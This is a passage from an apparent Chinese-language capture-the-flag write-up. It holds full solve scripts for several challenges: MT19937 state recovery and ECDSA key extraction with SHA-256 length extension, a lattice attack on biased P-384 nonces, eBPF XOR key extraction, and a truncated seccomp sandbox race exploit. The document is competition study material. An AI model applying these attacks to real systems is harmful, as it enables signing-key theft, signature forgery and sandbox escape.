secret = randbelow(n)
12
Q = secret * G
13
salt = os.urandom(64)
14

15
def sign(msg):
16
    z = int(sha256(salt + msg).hexdigest(), 16) % n
17
    k = getrandbits(255)
18
    R = k * G
19
    r = R.x
20
    s = (z + r * secret) * pow(k, -1, n) % n
21
    return r, s
22

23
def verify(msg, r, s):
24
    z = int(sha256(salt + msg).hexdigest(), 16) % n
25
    u1, u2 = z * pow(s, -1, n), r * pow(s, -1, n)
26
    R2 = u1 * G + u2 * Q
27
    return R2.x == r
28

29
# wowoof:
30
ticket = getrandbits(134) ^ getrandbits(134)

ECDSA nonce k 用了 random.getrandbits(255) random 模組是 MT19937（可預測 PRNG）。
只要能重建當前 MT state，就能預測之後所有 getrandbits()

wowoof 洩漏了 MT 輸出線性關係票券：

t = \text{getrandbits}(134)\ \oplus\ \text{getrandbits}(134)

而 MT 的「twist + temper」是線性的，所以每一個輸出 bit 都是內部 state bits 的 XOR 組合

hash：

z = \mathrm{SHA256}(salt \Vert msg)\bmod n

未知 salt 乍看會擋住你計算 z，但：

只要能拿到 secret，就能從簽章反推某個 msg 的 z。
對 salt || msg 這種，SHA256 可做 length extension attacks：
已知 H = SHA256(salt||msg) 時，可在不知道 salt 的情況下算出 SHA256(salt||msg||pad||append)。

MT19937 state 有 624 個 32-bit word，共 19968 個未知 bit。

每個 ticket 提供 134 個 bit ：

t_j = a_j \oplus b_j

其中 a_j 是第一個 getrandbits(134) 的第 j 個 bit，b_j 是第二個的第 j 個 bit。

1
def add_equation(basis: dict, mask: int, rhs: int) -> bool:
2
    rhs &= 1
3
    while mask:
4
        pvt = (mask & -mask).bit_length() - 1
5
        if pvt not in basis:
6
            basis[pvt] = (mask, rhs)
7
            return True
8
        m2, r2 = basis[pvt]
9
        mask ^= m2
10
        rhs ^= r2
11
    return rhs == 0

把每個 state bit 視為一個變數，用一個大整數 mask 表示「哪些變數 XOR 在一起」。然後在 GF(2) 下 MT 的 twist 與 temper，就能把每次 getrandbits(134) 的輸出 bit 展成 mask。

1
mt = [[1 << (wi*32 + b) for b in range(32)] for wi in range(624)]

s \equiv (z + r\cdot x)\cdot k^{-1} \pmod n

其中 (x=\text{secret})。

等價改寫：

s k \equiv z + r x \pmod n

對「同一個 msg」簽兩次，z 相同：

\begin{aligned} s_1k_1 &\equiv z + r_1x \pmod n \\ s_2k_2 &\equiv z + r_2x \pmod n \end{aligned}

相減消掉 z：

s_1k_1 - s_2k_2 \equiv (r_1 - r_2)\,x \pmod n

所以：

x \equiv (s_1k_1 - s_2k_2)\cdot (r_1-r_2)^{-1} \pmod n

1
r1n = r1 % n
2
r2n = r2 % n
3
secret = ((s1*k1 - s2*k2) % n) * pow((r1n - r2n) % n, -1, n) % n

已知 secret 後，可以從單次簽章反推 z：

z \equiv s k - r x \pmod n

1
z_base = (s1*k1 - (r1 % n)*secret) % n

題目是 z = int(sha256(salt||msg),16) % n

因為 (n \approx 2^{256}) 且只比 (2^{256}) 小約 (2^{224}) 量級，隨機 digest 落在 ([0,n)) 的機率非常高（約 (1 - 2^{-32})）。

因此 z_base 幾乎一定就是原始 SHA256 digest 的整數值

我們把它當作 sha256(salt||base) 的 32 bytes digest：

程式碼（把 z 當 digest bytes）：

1
digest_base = z_base.to_bytes(32, "big")

令 orig = salt || base，長度 L = 64 + len(base)。
SHA256 padding：

pad(L) = 0x80 \Vert 0x00\cdots \Vert \text{len\_bits}(L)

而 length extension 會：

msg_{ext} = base \Vert pad(L) \Vert append

使得：

\mathrm{SHA256}(salt\Vert msg_{ext}) = \mathrm{SHA256}(salt\Vert base\Vert pad(L)\Vert append)

其中 append = b"i_am_the_king_of_the_dog"。

1
orig_len = 64 + len(base)
2
pad0, digest_ext = sha256_length_extend(digest_base, orig_len, forbidden)
3
msg_ext = base + pad0 + forbidden
4
z_ext = int.from_bytes(digest_ext, "big") % n

有了 z_ext 與 secret，我自己選一個 nonce k

\begin{aligned} R &= kG \\ r &= R_x \\ s &\equiv (z_{ext} + (r\bmod n)\cdot x)\cdot k^{-1} \pmod n \end{aligned}

1
k = randbelow(n-1) + 1
2
R = ec_mul(k, G)
3
r = R[0]
4
s = (z_ext + (r % n)*secret) * pow(k, -1, n) % n

最後把 (r,s,msg_ext) 丟進 verify（wowoOf），因為 hash 與簽章都一致，會通過並且 msg_ext 含 forbidden，因此印出 flag。

solve.py

1
from pwn import remote, context
2
import re
3
import random
4
from dataclasses import dataclass
5
from secrets import randbelow
6

7
context.log_level = "info"
8

9
HOST = "chals1.eof.ais3.org"
10
PORT = 19081
11

12
TICKETS = 220
13
K_TICKET_BITS = 134
14

15
FORBIDDEN = b"i_am_the_king_of_the_dog"
16
BASE_MSG = b"hello"
17
SALT_LEN = 64
18

19
p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
20
a = p - 3
21
Gx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
22
Gy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
23
n = 0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551
24

25
INF = None
26
G = (Gx, Gy)
27

28
def inv_mod(x, mod):
29
    return pow(x % mod, -1, mod)
30

31
def ec_add(P, Q):
32
    if P is INF: return Q
33
    if Q is INF: return P
34
    x1, y1 = P
35
    x2, y2 = Q
36
    if x1 == x2:
37
        if (y1 + y2) % p == 0:
38
            return INF
39
        lam = ((3 * x1 * x1 + (p-3)) * inv_mod(2 * y1, p)) % p
40
    else:
41
        lam = ((y2 - y1) * inv_mod((x2 - x1), p)) % p
42
    x3 = (lam * lam - x1 - x2) % p
43
    y3 = (lam * (x1 - x3) - y1) % p
44
    return (x3, y3)
45

46
def ec_mul(k, P):
47
    k %= n
48
    R = INF
49
    Q = P
50
    while k > 0:
51
        if k & 1:
52
            R = ec_add(R, Q)
53
        Q = ec_add(Q, Q)
54
        k >>= 1
55
    return R
56

57
K_SHA = [
58
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
59
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
60
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
61
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
62
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
63
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
64
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
65
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
66
]
67
def rotr(x, r): return ((x >> r) | (x << (32 - r))) & 0xffffffff
68
def sha256_pad(msg_len_bytes: int) -> bytes:
69
    pad = b"\x80"
70
    pad += b"\x00" * ((56 - (msg_len_bytes + 1) % 64) % 64)
71
    pad += (msg_len_bytes * 8).to_bytes(8, "big")
72
    return pad
73

74
def sha256_compress(h, block64: bytes):
75
    w = [0]*64
76
    for i in range(16):
77
        w[i] = int.from_bytes(block64[i*4:(i+1)*4], "big")
78
    for i in range(16, 64):
79
        s0 = rotr(w[i-15], 7) ^ rotr(w[i-15], 18) ^ (w[i-15] >> 3)
80
        s1 = rotr(w[i-2], 17) ^ rotr(w[i-2], 19) ^ (w[i-2] >> 10)
81
        w[i] = (w[i-16] + s0 + w[i-7] + s1) & 0xffffffff
82

83
    a0,b0,c0,d0,e0,f0,g0,h0 = h
84
    a,b,c,d,e,f,g,hv = a0,b0,c0,d0,e0,f0,g0,h0
85
    for i in range(64):
86
        S1 = rotr(e,6) ^ rotr(e,11) ^ rotr(e,25)
87
        ch = (e & f) ^ ((~e) & g)
88
        temp1 = (hv + S1 + ch + K_SHA[i] + w[i]) & 0xffffffff
89
        S0 = rotr(a,2) ^ rotr(a,13) ^ rotr(a,22)
90
        maj = (a & b) ^ (a & c) ^ (b & c)
91
        temp2 = (S0 + maj) & 0xffffffff
92

93
        hv = g
94
        g = f
95
        f = e
96
        e = (d + temp1) & 0xffffffff
97
        d = c
98
        c = b
99
        b = a
100
        a = (temp1 + temp2) & 0xffffffff
101

102
    return [
103
        (a0 + a) & 0xffffffff, (b0 + b) & 0xffffffff, (c0 + c) & 0xffffffff, (d0 + d) & 0xffffffff,
104
        (e0 + e) & 0xffffffff, (f0 + f) & 0xffffffff, (g0 + g) & 0xffffffff, (h0 + hv) & 0xffffffff
105
    ]
106

107
class SHA256State:
108
    def __init__(self, h_words, processed_len=0):
109
        self.h = h_words[:]
110
        self.processed_len = processed_len
111
        self.buf = b""
112
    def update(self, data: bytes):
113
        self.buf += data
114
        while len(self.buf) >= 64:
115
            self.h = sha256_compress(self.h, self.buf[:64])
116
            self.buf = self.buf[64:]
117
            self.processed_len += 64
118
    def digest(self) -> bytes:
119
        total = self.processed_len + len(self.buf)
120
        self.update(sha256_pad(total))
121
        assert len(self.buf) == 0
122
        return b"".join(x.to_bytes(4, "big") for x in self.h)
123

124
def sha256_length_extend(digest32: bytes, orig_len_bytes: int, append: bytes):
125
    h = [int.from_bytes(digest32[i*4:(i+1)*4], "big") for i in range(8)]
126
    pad0 = sha256_pad(orig_len_bytes)
127
    st = SHA256State(h, processed_len=orig_len_bytes + len(pad0))
128
    st.update(append)
129
    new_digest = st.digest()
130
    return pad0, new_digest
131

132
def lsb_index(x: int) -> int:
133
    return (x & -x).bit_length() - 1
134

135
def add_equation(basis: dict, mask: int, rhs: int) -> bool:
136
    rhs &= 1
137
    while mask:
138
        pvt = lsb_index(mask)
139
        if pvt not in basis:
140
            basis[pvt] = (mask, rhs)
141
            return True
142
        m2, r2 = basis[pvt]
143
        mask ^= m2
144
        rhs ^= r2
145
    return rhs == 0
146

147
def solve_from_basis(basis: dict) -> int:
148
    sol = 0
149
    for pvt in sorted(basis.keys(), reverse=True):
150
        mask, rhs = basis[pvt]
151
        rhs ^= ((mask & sol).bit_count() & 1)
152
        if rhs & 1:
153
            sol |= 1 << pvt
154
    return sol
155

156
@dataclass
157
class SymbolicMT:
158
    mt: list
159
    idx: int
160

161
    @staticmethod
162
    def init_vars():
163
        mt = [[1 << (wi*32 + b) for b in range(32)] for wi in range(624)]
164
        return SymbolicMT(mt=mt, idx=624)
165

166
    @staticmethod
167
    def xor_word(a, b):
168
        return [x ^ y for x, y in zip(a, b)]
169

170
    def twist_inplace(self):
171
        N, M = 624, 397
172
        A = 0x9908B0DF
173

174
        for i in range(N - M):
175
            y_msb = self.mt[i][31]
176
            y_lsb = self.mt[i+1][0]
177
            shifted = [0]*32
178
            shifted[30] = y_msb
179
            for b in range(0, 30):
180
                shifted[b] = self.mt[i+1][b+1]
181
            nw = self.xor_word(self.mt[i+M], shifted)
182
            for b in range(32):
183
                if (A >> b) & 1:
184
                    nw[b] ^= y_lsb
185
            self.mt[i] = nw
186

187
        for i in range(N - M, N - 1):
188
            y_msb = self.mt[i][31]
189
            y_lsb = self.mt[i+1][0]
190
            shifted = [0]*32
191
            shifted[30] = y_msb
192
            for b in range(0, 30):
193
                shifted[b] = self.mt[i+1][b+1]
194
            nw = self.xor_word(self.mt[i + (M - N)], shifted)
195
            for b in range(32):
196
                if (A >> b) & 1:
197
                    nw[b] ^= y_lsb
198
            self.mt[i] = nw
199

200
        i = N - 1
201
        y_msb = self.mt[i][31]
202
        y_lsb = self.mt[0][0]
203
        shifted = [0]*32
204
        shifted[30] = y_msb
205
        for b in range(0, 30):
206
            shifted[b] = self.mt[0][b+1]
207
        nw = self.xor_word(self.mt[M-1], shifted)
208
        for b in range(32):
209
            if (A >> b) & 1:
210
                nw[b] ^= y_lsb
211
        self.mt[i] = nw
212
        self.idx = 0
213

214
    @staticmethod
215
    def temper(word):
216
        y = word[:]
217
        for b in range(0, 32-11):
218
            y[b] ^= y[b+11]
219
        m = 0x9D2C5680
220
        for b in range(31, 6, -1):
221
            if (m >> b) & 1:
222
                y[b] ^= y[b-7]
223
        m = 0xEFC60000
224
        for b in range(31, 14, -1):
225
            if (m >> b) & 1:
226
                y[b] ^= y[b-15]
227
        for b in range(0, 32-18):
228
            y[b] ^= y[b+18]
229
        return y
230

231
    def next_word(self):
232
        if self.idx >= 624:
233
            self.twist_inplace()
234
        w = self.mt[self.idx]
235
        self.idx += 1
236
        return self.temper(w)
237

238
    def getrandbits_expr(self, k: int):
239
        words = (k + 31) // 32
240
        rem = k % 32
241
        ws = [self.next_word() for _ in range(words)]
242
        bits = []
243
        for j in range(k):
244
            wi = j // 32
245
            b = j % 32
246
            if wi < words - 1 or rem == 0:
247
                bits.append(ws[wi][b])
248
            else:
249
                bits.append(ws[wi][(32 - rem) + b])
250
        return bits
251

252
def recover_mt_state(ticket_vals):
253
    sym = SymbolicMT.init_vars()
254
    basis = {}
255
    for out in ticket_vals:
256
        A = sym.getrandbits_expr(K_TICKET_BITS)
257
        B = sym.getrandbits_expr(K_TICKET_BITS)
258
        for j in range(K_TICKET_BITS):
259
            ok = add_equation(basis, A[j] ^ B[j], (out >> j) & 1)
260
            if not ok:
261
                raise RuntimeError("inconsistent equations")
262
    sol = solve_from_basis(basis)
263
    mt = []
264
    for wi in range(624):
265
        w = 0
266
        base = wi*32
267
        for b in range(32):
268
            if (sol >> (base+b)) & 1:
269
                w |= 1 << b
270
        mt.append(w & 0xffffffff)
271
    return mt
272

273
# ===== Remote =====
274
PROMPT = b"option > "
275
re_ticket = re.compile(rb"WooFf wOOF (\d+)'f")
276
re_r = re.compile(rb"wwwooOf:\s*(0x[0-9a-fA-F]+)")
277
re_s = re.compile(rb"wwWooOf:\s*(0x[0-9a-fA-F]+)")
278

279
def recv_prompt(io):
280
    io.recvuntil(PROMPT)
281

282
def recv_ticket(io):
283
    io.sendline(b"wowoof")
284
    out = io.recvuntil(PROMPT, timeout=5)
285
    m = re_ticket.search(out)
286
    if not m:
287
        raise RuntimeError(f"ticket parse fail: {out!r}")
288
    return int(m.group(1))
289

290
def get_sig(io, msg_hex: str):
291
    io.sendline(b"wowooF")
292
    io.recvuntil(b"(WooOfFfFfF FF) > ", timeout=5)
293
    io.sendline(msg_hex.encode())
294
    out = io.recvuntil(PROMPT, timeout=5)
295
    mr = re_r.search(out)
296
    ms = re_s.search(out)
297
    if not (mr and ms):
298
        raise RuntimeError(f"sig parse fail: {out!r}")
299
    return int(mr.group(1),16), int(ms.group(1),16)
300

301
def submit_verify(io, r: int, s: int, msg_bytes: bytes):
302
    io.sendline(b"wowoOf")
303
    io.recvuntil(b"wwwooOf > ", timeout=5)
304
    io.sendline(hex(r).encode())
305
    io.recvuntil(b"wwWooOf > ", timeout=5)
306
    io.sendline(hex(s).encode())
307
    io.recvuntil(b"(WooOfFfFfF FF) > ", timeout=5)
308
    io.sendline(msg_bytes.hex().encode())
309
    return io.recvall(timeout=3)
310

311
def main():
312
    io = remote(HOST, PORT)
313
    recv_prompt(io)
314

315
    tickets = [recv_ticket(io) for _ in range(TICKETS)]
316
    mt = recover_mt_state(tickets)
317

318
    clone = random.Random()
319
    clone.setstate((3, tuple(mt + [624]), None))
320
    for _ in range(TICKETS):
321
        clone.getrandbits(K_TICKET_BITS)
322
        clone.getrandbits(K_TICKET_BITS)
323

324
    base_hex = BASE_MSG.hex()
325

326
    k1 = clone.getrandbits(255)
327
    r1, s1 = get_sig(io, base_hex)
328

329
    k2 = clone.getrandbits(255)
330
    r2, s2 = get_sig(io, base_hex)
331

332
    r1n, r2n = r1 % n, r2 % n
333
    denom = (r1n - r2n) % n
334
    if denom == 0:
335
        raise RuntimeError("rare: r1 == r2 mod n; rerun")
336
    secret = ((s1*k1 - s2*k2) % n) * pow(denom, -1, n) % n
337

338
    z_base = (s1*k1 - (r1n * secret) % n) % n
339
    digest_base = z_base.to_bytes(32, "big")
340

341
    orig_len = SALT_LEN + len(BASE_MSG)
342
    pad0, digest_ext = sha256_length_extend(digest_base, orig_len, FORBIDDEN)
343

344
    msg_ext = BASE_MSG + pad0 + FORBIDDEN
345
    z_ext = int.from_bytes(digest_ext, "big") % n
346

347
    k = randbelow(n - 1) + 1
348
    R = ec_mul(k, G)
349
    r = R[0]
350
    s = (z_ext + (r % n)*secret) * pow(k, -1, n) % n
351

352
    out = submit_verify(io, r, s, msg_ext)
353
    print(out.decode(errors="ignore"))
354

355
if __name__ == "__main__":
356
    main()

1
[16:26:37] ~/Downloads/share 9 ➜ python3 3.py
2
[+] Opening connection to chals1.eof.ais3.org on port 19081: Done
3
[+] Receiving all data: Done (76B)
4
[*] Closed connection to chals1.eof.ais3.org port 19081
5
👍 ^ w ^ 👍
6
EOF{once_a_wise_dog_said_:_hi_._but_he_didn't_know_why_:D}

Still Not Random

Solver : 此情吳計可消除

題目使用 P-384

1
q = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973

題目對每個訊息 m 生成 nonce：

k = \text{int.from\_bytes}(\; \text{key} \parallel \text{HMAC}(\text{key}, m)\;)\bmod q

1
key = sha256(str(sk).encode()).digest()
2
k_bytes = key + hmac.new(key, msg, sha256).digest()
3
k = int.from_bytes(k_bytes, "big") % q

題目把點 (R=(x,y))

r = p2i(R) = x\cdot p + y

1
def p2i(P):
2
    return int(P.x) * p + int(P.y)
3
r = p2i(k * G)

題目用 r 當 HMAC key，m ：

e = \text{HMAC}(r\_\text{bytes}, m)\quad(\text{sha256})

1
r_bytes = r.to_bytes(1337, "big")
2
e = int.from_bytes(hmac.new(r_bytes, msg, sha256).digest(), "big") % q

s \equiv k + sk\cdot e \pmod q

1
s = (k + sk * e) % q

對第 $(i)$ 筆簽章：

s_i \equiv k_i + sk\cdot e_i \pmod q

拿第 0 筆當基準相減：

(s_i - s_0) \equiv (k_i - k_0) + sk\,(e_i - e_0) \pmod q

令：

(c_i = (s_i - s_0) \bmod q)
(t_i = (e_i - e_0) \bmod q)
(\delta_i = k_i - k_0)

則：

c_i \equiv sk\cdot t_i + \delta_i \pmod q

而因為 k 的高 256-bit 固定，所以：

|\delta_i| < 2^{256}

sk\cdot t_i - c_i \equiv \delta_i \pmod q,\ \ |\delta_i|<B,\ (B=2^{256})

設縮放因子 $(w$ )（讓尺度平衡，常用 $(2^{120}\sim 2^{140}）$

\begin{bmatrix} wq & 0 & 0 & 0 & 0\\ 0 & wq & 0 & 0 & 0\\ 0 & 0 & wq & 0 & 0\\ wt_1 & wt_2 & wt_3 & 1 & 0\\ wc_1 & wc_2 & wc_3 & 0 & q \end{bmatrix}

跑 LLL 後，會出現一個很短的向量，其第 5 維是 $(\pm q)$ ，第 4 維會對應到 sk（符號可能相反，所以要做一次 mod）。

1
w = 1 << 130
2
M = [
3
  [w*q, 0,   0,   0, 0],
4
  [0,   w*q, 0,   0, 0],
5
  [0,   0,   w*q, 0, 0],
6
  [w*t1, w*t2, w*t3, 1, 0],
7
  [w*c1, w*c2, w*c3, 0, q],
8
]

拿到 sk 候選後，直接用題目的 nonce 驗證

k \stackrel{?}{=} \text{int}(\text{key}\parallel \text{HMAC}(\text{key},m))\bmod q

並檢查：

s \stackrel{?}{\equiv} k + sk\cdot e \pmod q

1
def derive_k(sk, msg):
2
    key = sha256(str(sk).encode()).digest()
3
    kb = key + hmac.new(key, msg, sha256).digest()
4
    return int.from_bytes(kb, "big") % q
5

6
def check_one(sk, msg, r, s):
7
    r_bytes = r.to_bytes(1337, "big")
8
    e = int.from_bytes(hmac.new(r_bytes, msg, sha256).digest(), "big") % q
9
    k = derive_k(sk, msg)
10
    return (k + sk*e) % q == s % q

題目 ct 是：

nonce = ct[:8]
ciphertext = ct[8:]

key 由 sk 的低 128-bit 得到：

\text{AES\_key} = (sk \bmod 2^{128})\_{\text{16 bytes big-endian}}

1
aes_key = (sk & ((1<<128)-1)).to_bytes(16, "big")
2
nonce = ct[:8]
3
ciphertext = ct[8:]
4
pt = AES.new(aes_key, AES.MODE_CTR, nonce=nonce).decrypt(ciphertext)

solve.py

1
import re, ast, sys
2
from fractions import Fraction
3
from itertools import product
4
import hashlib, hmac
5
from Crypto.Cipher import AES
6

7
Q = int(
8
    "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF"
9
    "581A0DB248B0A77AECEC196ACCC52973", 16
10
)
11
BBOUND = 1 << 256
12

13
MSGS = [
14
    b"https://www.youtube.com/watch?v=LaX6EIkk_pQ",
15
    b"https://www.youtube.com/watch?v=wK4wA0aKvg8",
16
    b"https://www.youtube.com/watch?v=iq90nHs3Gbs",
17
    b"https://www.youtube.com/watch?v=zTKADhU__sw",
18
]
19

20
def centered(x, q=Q):
21
    x %= q
22
    if x > q // 2:
23
        x -= q
24
    return x
25

26
def dot(a, b):
27
    return sum(Fraction(x) * Fraction(y) for x, y in zip(a, b))
28

29
def nearest_int(fr: Fraction) -> int:
30
    n, d = fr.numerator, fr.denominator
31
    if n >= 0:
32
        return int((n + d // 2) // d)
33
    return -int(((-n + d // 2) // d))
34

35
def lll_reduction(B, delta=Fraction(99, 100)):
36
    B = [list(map(int, v)) for v in B]
37
    n, m = len(B), len(B[0])
38

39
    def gram_schmidt(B):
40
        Bstar = [[Fraction(0)] * m for _ in range(n)]
41
        mu = [[Fraction(0)] * n for _ in range(n)]
42
        Bnorm = [Fraction(0)] * n
43
        for i in range(n):
44
            v = [Fraction(x) for x in B[i]]
45
            for j in range(i):
46
                mu[i][j] = dot(B[i], Bstar[j]) / Bnorm[j] if Bnorm[j] != 0 else Fraction(0)
47
                v = [vk - mu[i][j] * Bstar[j][k] for k, vk in enumerate(v)]
48
            Bstar[i] = v
49
            Bnorm[i] = dot(v, v)
50
        return mu, Bnorm
51

52
    mu, Bnorm = gram_schmidt(B)
53
    k = 1
54
    while k < n:
55
        for j in range(k - 1, -1, -1):
56
            q = nearest_int(mu[k][j])
57
            if q:
58
                B[k] = [B[k][i] - q * B[j][i] for i in range(m)]
59
        mu, Bnorm = gram_schmidt(B)
60

61
        if Bnorm[k] >= (delta - mu[k][k - 1] ** 2) * Bnorm[k - 1]:
62
            k += 1
63
        else:
64
            B[k], B[k - 1] = B[k - 1], B[k]
65
            mu, Bnorm = gram_schmidt(B)
66
            k = max(k - 1, 1)
67

68
    return B
69

70
def compute_e(r_int: int, msg: bytes) -> int:
71
    r_bytes = int(r_int).to_bytes(1337, "big", signed=False)
72
    d = hmac.new(r_bytes, msg, hashlib.sha256).digest()
73
    return int.from_bytes(d, "big") % Q
74

75
def derive_k(sk: int, msg: bytes) -> int:
76
    key = hashlib.sha256(str(sk).encode()).digest()
77
    buf = key + hmac.new(key, msg, hashlib.sha256).digest()
78
    return int.from_bytes(buf, "big") % Q
79

80
def parse_output(path: str):
81
    txt = open(path, "r", encoding="utf-8").read().strip()
82
    m = re.search(r"sigs\s*=\s*(\[[\s\S]*?\])\s*\nct\s*=\s*(b['\"][\s\S]*?['\"])\s*$", txt)
83
    if not m:
84
        raise ValueError("bad output.txt format")
85
    sigs = ast.literal_eval(m.group(1))
86
    ct = ast.literal_eval(m.group(2))
87
    return sigs, ct
88

89
def main():
90
    path = sys.argv[1] if len(sys.argv) > 1 else "output.txt"
91
    sigs, ct = parse_output(path)
92

93
    es = [compute_e(r, msg) for (r, s), msg in zip(sigs, MSGS)]
94

95
    s0, e0 = sigs[0][1], es[0]
96
    c = [(sigs[i][1] - s0) % Q for i in [1, 2, 3]]
97
    t = [(es[i] - e0) % Q for i in [1, 2, 3]]
98

99
    w = 1 << 130
100
    M = Q
101

102
    rows = []
103
    for i in range(3):
104
        row = [0] * 4
105
        row[i] = w * Q
106
        rows.append(row)
107
    rows.append([w * ti for ti in t] + [1])
108
    u = [w * ci for ci in c] + [0]
109

110
    emb = [r + [0] for r in rows]
111
    emb.append(u + [M])
112

113
    red = lll_reduction(emb)
114

115
    cands = set()
116
    for coeffs in product(range(-3, 4), repeat=len(red)):
117
        if all(k == 0 for k in coeffs):
118
            continue
119
        v = [0] * len(red[0])
120
        for k, b in zip(coeffs, red):
121
            if k:
122
                v = [vi + k * bi for vi, bi in zip(v, b)]
123
        if abs(v[-1]) == M:
124
            for skcand in (v[3] % Q, (-v[3]) % Q):
125
                if all(abs(centered(skcand * ti - ci, Q)) < BBOUND for ci, ti in zip(c, t)):
126
                    cands.add(skcand)
127

128
    sk = None
129
    for cand in cands:
130
        ok = True
131
        for (r, s), e, msg in zip(sigs, es, MSGS):
132
            k_sig = (s - (cand * e) % Q) % Q
133
            if k_sig != derive_k(cand, msg):
134
                ok = False
135
                break
136
        if ok:
137
            sk = cand
138
            break
139

140
    nonce, ciphertext = ct[:8], ct[8:]
141
    key = (sk & ((1 << 128) - 1)).to_bytes(16, "big", signed=False)
142
    pt = AES.new(key, AES.MODE_CTR, nonce=nonce).decrypt(ciphertext)
143

144
    print("sk =", sk)
145
    print("flag =", pt.decode(errors="replace"))
146

147
if __name__ == "__main__":
148
    main()

1
[15:52:42] ~/Downloads/dist-not-random-revenge-005a8f4a876d13ab81a0fee6758420bf924c56ae ➜ python3 2.py
2
sk = 35915183341287005805110739577984952832258180571268403112968132408336166938064164258744193615696745698656198710447205
3
flag = EOF{just_some_small_bruteforce_after_LLL}

Misc

MRTGuessor

Solver : 此情吳計可消除

PXL_20251217_112653424(1)

往昆陽僅限昆陽站至亞東醫院，去一站一站的找時刻表就知道是忠孝新生

fun

Solver : 此情吳計可消除

xdp_prog.o ：eBPF XDP
loader ：user space loader
flag.enc ：flag

eBPF XDP 會對 UDP payload 的資料做逐 byte XOR flag.enc 就是 XOR 後的結果

從 xdp_prog.o 中抽出 XOR key 將 flag.enc XOR 回原始 flag

Ethernet header : 14 bytes
IPv4 header : 20 bytes
UDP header : 8 bytes

UDP payload offset 為：

14 + 20 + 8 = 42

程式從 payload + 42 開始，連續處理 64 bytes

byte = input[i] XOR key[i]

對應到 eBPF 為 XOR64 IMM

A XOR B XOR B = A

enc[i] = flag[i] XOR key[i]

flag[i] = enc[i] XOR key[i]

struct bpf_insn { u8 opcode; u8 regs; s16 off; s32 imm; };

XOR64 IMM 的 opcode 為： 0xA7

solve.py：

1
import struct
2
import sys
3
from pathlib import Path
4

5
def elf64_get_sections(blob):
6
    if blob[:4] != b"\x7fELF":
7
        raise ValueError("Not ELF")
8

9
    (_, _, _, _, _, _, shoff,
10
     _, _, _, _, shentsize,
11
     shnum, shstrndx) = struct.unpack_from(
12
        "<16sHHIQQQIHHHHHH", blob, 0)
13

14
    shdrs = []
15
    for i in range(shnum):
16
        off = shoff + i * shentsize
17
        shdrs.append(struct.unpack_from("<IIQQQQIIQQ", blob, off))
18

19
    shstr = shdrs[shstrndx]
20
    shstrtab = blob[shstr[4]:shstr[4] + shstr[5]]
21

22
    def name(off):
23
        end = shstrtab.find(b"\0", off)
24
        return shstrtab[off:end].decode()
25

26
    sections = {}
27
    for sh in shdrs:
28
        sections[name(sh[0])] = blob[sh[4]:sh[4] + sh[5]]
29
    return sections
30

31
def parse_insns(code):
32
    insns = []
33
    for i in range(0, len(code), 8):
34
        op, regs, off, imm = struct.unpack("<BBhi", code[i:i+8])
35
        insns.append((op, imm))
36
    return insns
37

38
def extract_key(insns):
39
    XOR64_IMM = 0xA7
40
    return [imm & 0xff for op, imm in insns if op == XOR64_IMM]
41

42
def main():
43
    xdp = Path(sys.argv[1]).read_bytes()
44
    enc = bytes.fromhex(Path(sys.argv[2]).read_text().strip())
45

46
    sections = elf64_get_sections(xdp)
47
    insns = parse_insns(sections["xdp"])
48
    key = extract_key(insns)
49

50
    flag = bytes(enc[i] ^ key[i] for i in range(len(enc)))
51
    print(flag.decode())
52

53
if __name__ == "__main__":
54
    main()

1
[15:47:01] ~/Downloads/dist-fun-01a6a20e783131227d30c718e9211173ebe2d682 ➜ python3 solve.py xdp_prog.o flag.enc
2
EOF{si1Ks0Ng_15_g0oD_T0}

SaaS

Solver : soar.

目標是讀 flag。要 escape sandbox，主要檢查的地方在這邊

1
if (is_open_file_nr(nr)) {
2
        int index = path_index(nr);
3

4
        struct iovec local[1];
5
        struct iovec remote[1];
6
        local[0].iov_base = open_path;
7
        local[0].iov_len = sizeof(open_path);
8
        remote[0].iov_base = (void *) req->data.args[1];
9
        remote[0].iov_len = sizeof(open_path);
10

11
        if (process_vm_readv(req->pid, local, 1, remote, 1, 0) < 0) {
12
            resp->error = -EPERM;
13
            resp->val = -8;
14
            goto out;
15
        }
16

17
        realpath(open_path, real_path);
18

19
        if (strcmp(real_path, "/flag") == 0) {
20
            fprintf(stderr, "[sandbox] blocked open /flag\n");
21

22
            resp->error = -EPERM;
23
            resp->val = -8;
24
            goto out;
25
        }
26

27
        goto cont;
28
    } else if (nr == __NR_getpid) {
29
        resp->val = 48763;
30
    } else {
31
cont:
32
        resp->flags = SECCOMP_USER_NOTIF_FLAG_CONTINUE;
33
    }

主要檢查就是，他會先將路徑存到 process_vm_readv，然後去檢查是否為 /flag ，如果通過的話，就回傳SECCOMP_USER_NOTIF_FLAG_CONTINUE ，然後程式就會再去之前得記憶體中拿路徑來 open。

所以我們可以開個 muti process，一邊去一直請求 openat，然後同時一直改記憶體中的路徑，就可以去 race 他了！

exploit

1
#define _GNU_SOURCE
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <unistd.h>
5
